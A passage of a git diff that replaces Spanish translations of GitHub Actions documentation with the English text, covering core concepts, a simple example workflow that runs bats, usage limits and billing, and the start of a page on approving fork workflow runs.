data variables.product.prodname_actions %}, incluyendo los conceptos nucleares y la terminología esencial.' +title: Understanding GitHub Actions +shortTitle: Understanding GitHub Actions +intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' redirect_from: - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions @@ -21,55 +21,62 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Resumen +## Overview -Las {% data variables.product.prodname_actions %} te ayudan a automatizar tareas dentro de tu ciclo de vida de desarrollo de software. Las {% data variables.product.prodname_actions %} se manejan por eventos, lo cual significa que puedes ejecutar una serie de comandos después de que haya ocurrido un evento especificado. Por ejemplo, cada vez que alguien crea una solicitud de cambios para un repositorio, puedes ejecutar automáticamente un comando que ejecute un script de prueba de software. +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. -Este diagrama ilustra como puedes utilizar las {% data variables.product.prodname_actions %} para ejecutar automáticamente tus scripts de pruebas de software. Un evento activa el _flujo de trabajo_ automáticamente, el cual contiene un _job_. Entonces, el job utiliza _pasos_ para controlar el orden en el que se ejecutan las _acciones_. Estas acciones son los comandos que automatizan las pruebas de tu software. +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. -![Resumen del flujo de trabajo](/assets/images/help/images/overview-actions-simple.png) +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. -## Los componentes de las {% data variables.product.prodname_actions %} +## The components of {% data variables.product.prodname_actions %} -A continuación, encontrarás una lista de los diferentes componentes de las {% data variables.product.prodname_actions %} que funcionan en conjunto para ejecutar jobs. Puedes ver cómo dichos componentes interactúan entre ellos. +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify in your workflow. -![Resumen de componentes y servicios](/assets/images/help/images/overview-actions-design.png) +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) -### Flujos de trabajo +### Workflows -El flujo de trabajo es un procedimiento automatizado que agregas a tu repositorio. Los flujos de trabajo se componen de uno o más jobs y pueden programarse o activarse a través de un evento. El flujo de trabajo se puede utilizar para crear, probar, empacar, lanzar o desplegar un proyecto en {% data variables.product.prodname_dotcom %}. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}Puedes referenciar un flujo de trabajo dentro de otro flujo de trabajo, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".{% endif %} +A workflow is a configurable automated process that will run one or more jobs. Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule. -### Eventos +Your repository can have multiple workflows in a repository, each of which can perform a different set of steps. For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue. -En evento es una actividad específica que activa un flujo de trabajo. Por ejemplo, la actividad se puede originar desde {% data variables.product.prodname_dotcom %} cuando alguien sube una confirmación a un repositorio o cuando se crea una propuesta o solicitud de extracción. También puedes utilizar el [webhook de envío del repositorio](/rest/reference/repos#create-a-repository-dispatch-event) para activar un flujo de trabajo cuando ocurra un evento externo. Para encontrar una lista de eventos completa que puede utilizarse para activar flujos de trabajo, consulta los [Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows). +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} + +### Events + +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). ### Jobs -Un job es un conjunto de pasos que se ejecutan en el mismo ejecutor. Predeterminadamente, un flujode trabajo con varios jobs los ejecutará en paralelo. También puedes configurar el flujo de trabajo para que los ejecute secuencialmente. Por ejemplo, un flujo de trabajo puede tener dos trabajos consecutivos para desarrollar y probar el código. El trabajo de prueba depende del estado del trabajo de desarrollo. Si el trabajo de desarrollo falla, no se ejecutará el trabajo de prueba. +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. -### Pasos +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. -Un paso es una tarea individual que puede ejecutar comandos en un job. Un paso puede ser tanto una _acción_ como un comando de shell. Cada paso en un job se ejecuta en el mismo ejecutor, lo cual permite que las acciones en dicho job compartan datos entre ellas. +### Actions -### Acciones +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. -Las _Acciones_ son comandos independientes que se combinan en _pasos_ para crear un _job_. Las acciones son el componente portable más pequeño de un flujo de trabajo. Puedes crear tus propias acciones, o utilizar acciones que haya creado la comunidad de {% data variables.product.prodname_dotcom %}. Para utilizar una acción en un flujo de trabajo, debes incluirla como paso. +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. -### Ejecutores +### Runners -{% ifversion ghae %}Un ejecutor es un servidor que tiene instalada la [{% data variables.product.prodname_actions %} aplicación de ejecutor](https://github.com/actions/runner). En el caso de {% data variables.product.prodname_ghe_managed %}, puedes utilizar los {% data variables.actions.hosted_runner %} con seguridad robustecida que están empaquetados con tu instancia en la nube. Un ejecutor escucha a los jobs disponibles, ejecuta un job a la vez, y reporta el progreso, bitácoras y resultados de vuelta a {% data variables.product.prodname_dotcom %}. Los {% data variables.actions.hosted_runner %} ejecutan cada job del flujo de trabajo en un ambiente virtual nuevo. Para obtener más información, consulta la sección "[Acerca de los {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners)". +{% ifversion ghae %} +{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% else %} -Un ejecutor es un servidor que tiene instalada la [aplilcación de ejecutor de {% data variables.product.prodname_actions %}](https://github.com/actions/runner). Puedes utilizar un ejecutor que esté hospedado en {% data variables.product.prodname_dotcom %}, o puedes hospedar el tuyo propio. Un ejecutor escucha a los jobs disponibles, ejecuta un job a la vez, y reporta el progreso, bitácoras y resultados de vuelta a {% data variables.product.prodname_dotcom %}. Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} se basan en Ubuntu Linux, Microsoft Windows y macOS, y cada job en un flujo de trabajo se ejecuta en un ambiente virtual nuevo. Para obtener más información sobre los ejecutores hospedados en {% data variables.product.prodname_dotcom %}, consulta la sección "[Acerca de los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners)". Si necesitas un sistema operativo diferente o si requieres de una configuración de hardware específica, puedes hospedar tus propios ejecutores. Para obtener información sobre los ejecutores auto-hospedados, consulta la sección "[Hospedar tus propios ejecutores](/actions/hosting-your-own-runners)". +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% endif %} -## Crear un flujo de trabajo de ejemplo +## Create an example workflow -Las {% data variables.product.prodname_actions %} usan la sintaxis de YAML para definir los eventos, jobs y pasos. Estos archivos de YAML se almacenan en el repositorio de tu código, en un directorio que se llama `.github/workflows`. +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`. -Puedes crear un flujo de trabajo de ejemplo en tu repositorio que active automáticamente una serie de comandos cada que se suba código. En este flujo de trabajo, las {% data variables.product.prodname_actions %} verifican el código que se subió, instalan las dependencias de software, y ejecutan `bats -v`. +You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`. -1. En tu repositorio, crea el directorio `.github/workflows/` para almacenar tus archivos de flujo de trabajo. -1. En el directorio `.github/workflows/`, crea un archivo nuevo que se llame `learn-github-actions.yml` y agrega el siguiente código. +1. In your repository, create the `.github/workflows/` directory to store your workflow files. +1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code. ```yaml name: learn-github-actions on: [push] @@ -84,13 +91,13 @@ Puedes crear un flujo de trabajo de ejemplo en tu repositorio que active automá - run: npm install -g bats - run: bats -v ``` -1. Confirma estos cambios y cárgalos a tu repositorio de {% data variables.product.prodname_dotcom %}. +1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository. -Tu archivo de flujo de trabajo de {% data variables.product.prodname_actions %} nuevo estará ahora instalado en tu repositorio y se ejecutará automáticamente cada que alguien suba un cambio a éste. Para encontrar los detalles sobre el historial de ejecución un job, consulta la sección "[Visualizar la actividad del flujo de trabajo](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)". +Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)." -## Entender el archivo de flujo de trabajo +## Understanding the workflow file -Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un flujo de trabajo, esta sección explica cada línea del ejemplo de la introducción: +To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
arrow-down
arrow-downarrow-leftarrow-left-circle arrow-leftarrow-right-circle arrow-right
@@ -101,7 +108,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -112,7 +119,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -123,7 +130,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -134,7 +141,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -145,7 +152,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -156,7 +163,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -167,7 +174,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -180,7 +187,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -191,7 +198,7 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ``` @@ -202,42 +209,49 @@ Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un fluj ```
- Opcional - El nombre del flujo de trabajo ta como aparece en la pestaña de Acciones del repositorio de {% data variables.product.prodname_dotcom %}. + Optional - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
- Especifica el evento que activa automáticamente el archivo de flujo de trabajo. Este ejemplo utiliza el evento push, para que los jobs se ejecuten cada que alguien sube un cambio al repositorio. Puedes configurar el flujo de trabajo para que solo se ejecuten en ciertas ramas, rutas, o etiquetas. Para encontrar ejemplos de sintaxis que incluyan o excluyan ramas, rutas, o etiquetas, consulta la sección "Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}". +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}."
- Agrupa los jobs que se ejecutan en el archivo de flujo de trabajo learn-github-actions. + Groups together all the jobs that run in the learn-github-actions workflow.
- Define el nombre del job check-bats-version que se almacena en la sección jobs. +Defines a job named check-bats-version. The child keys will define properties of the job.
- Configura el job para ejecutarse en un ejecutor Ubuntu Linux. Esto significa que el job se ejecutará en una máquina virtual nueva que se hospede en GitHub. Para encontrar ejemplos de sintaxis que utilicen otros ejecutores, consulta la sección "Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}". + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}."
- Agrupa todos los pasos que se ejecutan en el job check-bats-version. Cada elemento anidado bajo esta sección es un comando de shell o acción separada. + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script.
- La palabra clave uses le dice al job que recupere la v2 de la acción comunitaria que se llama actions/checkout@v2. Esta es una acción que revisa tu repositorio y lo descarga al ejecutor, lo que te permite ejecutar acciones contra tu código (tales como las herramientas de prueba). Debes utilizar la acción de verificación cada que tu flujo de trabajo se ejecute contra el código del repositorio o cada que estés utilizando una acción definida en el repositorio. +The uses keyword specifies that this step will run v2 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
- Este paso utiliza la acción actions/setup-node@v2 para instala la versión especificada del paquete de software del node en el ejecutor, lo cual te otorga acceso al comando npm. + This step uses the actions/setup-node@v2 action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH.
- La palabra clave run le dice al job que ejecute un comando en el ejecutor. Ene ste caso, estás utilizando npm para instalar el paquete de pruebas del software bats. + The run keyword tells the job to execute a command on the runner. In this case, you are using npm to install the bats software testing package.
- Finalmente, ejecutarás el comando bats con un parámetro que producirá la versión del software. + Finally, you'll run the bats command with a parameter that outputs the software version.
-### Visualizar el archivo de flujo de trabajo +### Visualizing the workflow file -En este diagrama, puedes ver el archivo de flujo de trabajo que acabas de crear, así como la forma en que los componentes de {% data variables.product.prodname_actions %} se organizan en una jerarquía. Cada paso ejecuta una acción simple o un comando de shell. Los pasos 1 y 2 utilizan acciones comunitarias preconstruidas. Los pasos 3 y 4 ejecutan comandos de shell directamente en el ejecutor. Para encontrar más acciones preconstruidas para tus flujos de trabajo, consulta la sección "[Encontrar y personalizar acciones](/actions/learn-github-actions/finding-and-customizing-actions)". +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." -![Resumen del flujo de trabajo](/assets/images/help/images/overview-actions-event.png) +![Workflow overview](/assets/images/help/images/overview-actions-event.png) -## Visualizar la actividad de un job +## Viewing the workflow's activity -Una vez que tu job comience a ejecutarse, podrás{% ifversion fpt or ghes > 3.0 or ghae or ghec %}ver una gráfica de visualización del progreso de dicha ejecución y {% endif %}ver la actividad de cada paso en {% data variables.product.prodname_dotcom %}. +Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} -1. Debajo del nombre de tu repositorio, da clic en **Acciones**. ![Navegar al repositorio](/assets/images/help/images/learn-github-actions-repository.png) -1. En la barra lateral izquierda, da clic en el flujo de trabajo que quieras ver. ![Impresión de pantalla de los resultados del flujo de trabajo](/assets/images/help/images/learn-github-actions-workflow.png) -1. Debajo de "Ejecuciones de flujo de trabajo", da clic en el nombre de la ejecución que quieres ver. ![Captura de pantalla de las ejecuciones del flujo de trabajo](/assets/images/help/images/learn-github-actions-run.png) +1. Under your repository name, click **Actions**. + ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png) +1. In the left sidebar, click the workflow you want to see. + ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) +1. Under "Workflow runs", click the name of the run you want to see. + ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. Debajo de **Jobs** o en la gráfica de visualización, da clic en el job que quieras ver. ![Seleccionar job](/assets/images/help/images/overview-actions-result-navigate.png) +1. Under **Jobs** or in the visualization graph, click the job you want to see. + ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) {% endif %} {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. Ve los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result-updated-2.png) +1. View the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) {% elsif ghes %} -1. Da clic en el nombre del job para ver los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result-updated.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png) {% else %} -1. Da clic en el nombre del job para ver los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png) {% endif %} -## Pasos siguientes +## Next steps -Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Encontrar y personalizar las acciones](/actions/learn-github-actions/finding-and-customizing-actions)". +To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." -Para entender cómo funciona la facturación de las {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de la facturación para las {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)". +To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)". -## Contactar con soporte técnico +## Contacting support {% data reusables.github-actions.contacting-support %} diff --git a/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md index e8ebdb8566..73c64d5af4 100644 --- a/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md +++ b/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md @@ -1,6 +1,6 @@ --- -title: 'Límites de uso, facturación y administración' -intro: 'Hay límites de uso para los flujos de trabajo de {% data variables.product.prodname_actions %}. Los cargos de uso aplican a los repositorios que salen de la cantidad de minutos y almacenamiento gratuitos de un repositorio.' +title: 'Usage limits, billing, and administration' +intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.' redirect_from: - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions - /actions/reference/usage-limits-billing-and-administration @@ -11,91 +11,93 @@ versions: ghec: '*' topics: - Billing -shortTitle: Límites & facturación de los flujos de trabajo +shortTitle: Workflow billing & limits --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca de la facturación para {% data variables.product.prodname_actions %} +## About billing for {% data variables.product.prodname_actions %} {% ifversion fpt or ghec %} -{% data reusables.github-actions.actions-billing %} Para obtener más información, consulta "[Acerca de la facturación de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)". +{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." {% else %} -El uso de GitHub Actions es gratuito para los {% data variables.product.prodname_ghe_server %} que utilicen ejecutores auto-hospedados. +GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners. {% endif %} -## Disponibilidad +## Availability {% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} -## Límites de uso +## Usage limits {% ifversion fpt or ghec %} -Hay algunos límites de uso de {% data variables.product.prodname_actions %} cuando se utilizan ejecutores hospedados en {% data variables.product.prodname_dotcom %}. Estos límites están sujetos a cambios. +There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change. {% note %} -**Nota:** Para los ejecutores auto-hospedados, pueden aplicarse límites de uso distintos. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." +**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endnote %} -- **Tiempo de ejecución de jobs** - Cada job en un flujo de trabajo puede ejecutarse hasta por 6 horas en tiempo de ejecución. Si un job llega a este límite, éste se terminará y fallará en completarse. +- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete. {% data reusables.github-actions.usage-workflow-run-time %} {% data reusables.github-actions.usage-api-requests %} -- **Jobs simultáneos** - La cantidad de jobs que puedes ejecutar simultáneamente en tu cuenta depende de tu plan de GitHub, como se indica en la siguiente tabla. Si eso se excede, cualquier job adicional se pondrá en cola de espera. +- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued. - | Plan de GitHub | Jobs simultáneos totales | Jobs simultáneos de macOS máximos | - | -------------- | ------------------------ | --------------------------------- | - | Gratis | 20 | 5 | - | Pro | 40 | 5 | - | Team | 60 | 5 | - | Empresa | 180 | 50 | -- **Matiz de jobs** - {% data reusables.github-actions.usage-matrix-limits %} + | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | + |---|---|---| + | Free | 20 | 5 | + | Pro | 40 | 5 | + | Team | 60 | 5 | + | Enterprise | 180 | 50 | +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} {% data reusables.github-actions.usage-workflow-queue-limits %} {% else %} -Los límites de uso aplican a los ejecutores auto-hospedados. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." +Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endif %} {% ifversion fpt or ghec %} -## Política de uso +## Usage policy -Además de los límites de uso, debes asegurarte de usar las {% data variables.product.prodname_actions %} dentro de los [Términos de servicio de GitHub](/free-pro-team@latest/github/site-policy/github-terms-of-service/). Para obtener más información sobre los términos específicos de las {% data variables.product.prodname_actions %}, consulta los [Términos adicionales de producto de GitHub](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). +In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). {% endif %} {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} -## Facturación para los flujos de trabajo reutilizables +## Billing for reusable workflows -Si vuelves a utilizar un flujo de trabajo la facturación siempre se asociará con aquél del que llama. Para obtener más información, consulta la sección "[Reutilizar los flujos de trabajo](/actions/learn-github-actions/reusing-workflows)". +If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} is always evaluated using only the caller's context. The caller cannot use {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} from the called repository. + +For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## Polìtica de retenciòn de artefactos y bitàcoras +## Artifact and log retention policy -Puedes configurar el periodo de retenciòn de artefactos y bitàcoras para tu repositorio, organizaciòn o cuenta empresarial. +You can configure the artifact and log retention period for your repository, organization, or enterprise account. {% data reusables.actions.about-artifact-log-retention %} -Para obtener más información, consulta: +For more information, see: -- "[Administrar los ajustes de {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)" -- "[Configurar el periodo de retención de {% data variables.product.prodname_actions %} para los artefactos y bitácoras en tu organización](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" -- "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)" +- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## Inhabilitar o limitar {% data variables.product.prodname_actions %} para tu repositorio u organización +## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization {% data reusables.github-actions.disabling-github-actions %} -Para obtener más información, consulta: -- "[Administrar los ajustes de {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)" -- "[Inhabilitar o limitar {% data variables.product.prodname_actions %} para tu organización](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" -- "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" +For more information, see: +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)" +- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## Inhabilitar y habilitar flujos de trabajo +## Disabling and enabling workflows -Puedes habilitar e inhabilitar flujos de trabajo independientes en tu repositorio en {% data variables.product.prodname_dotcom %}. +You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}. {% data reusables.actions.scheduled-workflows-disabled %} -Para obtener más información, consulta la sección "[Inhabilitar y habilitar un flujo de trabajo](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)". +For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md index ef5f9722a3..9ff47262a1 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md @@ -1,28 +1,28 @@ --- -title: Aprobar ejecuciones de flujo de trabajo desde bifurcaciones públicas -intro: 'Cuando un contribuyente externo emite una solicitud de cambios a un repositorio público, podría ser que un mantenedor con acceso de escritura tenga que aprobar cualquier ejecución de flujo de trabajo.' +title: Approving workflow runs from public forks +intro: 'When an outside contributor submits a pull request to a public repository, a maintainer with write access may need to approve any workflow runs.' versions: fpt: '*' ghec: '*' -shortTitle: Aprobar las ejecuciones de una bifurcación pública +shortTitle: Approve public fork runs --- -## Acerca de las ejecuciones de flujo de trabajo de las bifurcaciones públicas +## About workflow runs from public forks {% data reusables.actions.workflow-run-approve-public-fork %} You can configure workflow approval requirements for a 